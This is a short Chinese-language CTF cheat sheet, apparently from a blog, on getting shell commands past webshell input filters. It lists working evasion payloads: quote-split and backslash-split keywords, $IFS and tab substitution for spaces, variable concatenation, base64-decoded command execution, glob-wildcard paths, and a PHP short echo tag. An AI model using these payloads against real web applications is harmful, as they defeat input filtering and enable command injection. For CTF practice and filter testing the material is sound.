CTF绕过技巧

CTF绕过技巧

无字母数字Webshell之提高篇:https://www.freebuf.com/articles/web/186298.html

P神:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

P神小密圈中的奇淫技巧:resource/来自小密圈里的那些奇技淫巧.pdf

WebShell命令屏蔽的绕过

当cat被屏蔽时可以使用c`1`at flag.php,或者使用tac,

1
2
3
4
5
c'a't test.txt
c\at test.txt
ca$@t test.txt
c""at test.txt
c''at test.txt

当空格被过滤时:

1
2
3
4
5
6
7
8
9
cat<flag.php    #利用重定向符

cat\$IFS'flag.php'、cat${IFS}'flag.php' #利用shell的IFS变量

cat%09'flag.php' #代替url上的空格

a=l;b=s;\$a\$b #shell变量拼接

{ls,-al} #ls -al

关键字绕过:

1
echo "whoami" | base64、`echo "base64结果"| base64 -d`    #通过base64编码后解码命令执行

glob通配符绕过:

1
2
3
4
5
6
7
/???/[l-n]s     可替代ls
/???/c?t test.txt 可替代cat test.txt
ls *.php 列出当前目录下所有php文件

假如脚本名称为chakdiD且在根目录/etc下,我们可以用:
. /???/???????[@-[]
[@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,就可以绕过正则了。

一些小trick

1
<?=     ?>    #在short_open_tag短标签开启时,该项相当于echo

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器